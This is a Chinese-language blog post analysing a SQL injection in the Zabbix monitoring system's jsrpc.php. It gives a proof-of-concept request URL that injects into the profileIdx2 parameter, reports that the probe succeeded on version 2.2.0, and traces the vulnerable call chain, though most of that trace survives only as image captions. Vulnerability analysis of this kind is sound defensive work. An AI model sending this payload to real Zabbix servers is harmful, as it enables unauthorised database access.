之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析。

PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点。

0x00 Zabbix简介

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。

0x01 Zabbix漏洞POC&尝试

POC如下:

/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=.=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

 

我用的ZABBIX 2.2.0版本尝试下POC,存在漏洞。
Zabbix 漏洞分析-RadeBit瑞安全

0x02 Zabbix漏洞分析

看下jsrpc.php中的profileIdx2参数:

Zabbix 漏洞分析-RadeBit瑞安全

跟着调用,然后继续看下CScreenBuilder中的getScreen:

Zabbix 漏洞分析-RadeBit瑞安全

继续看API中的ScreenItem():

Zabbix 漏洞分析-RadeBit瑞安全

调用静态getObject(),如下:

Zabbix 漏洞分析-RadeBit瑞安全

调用静态getApi(),如下:

Zabbix 漏洞分析-RadeBit瑞安全

接下来是NEW CZBXAPI():

Zabbix 漏洞分析-RadeBit瑞安全

最后调用SQL查询:

Zabbix 漏洞分析-RadeBit瑞安全

综上,profileIdx2参数存在SQL注入。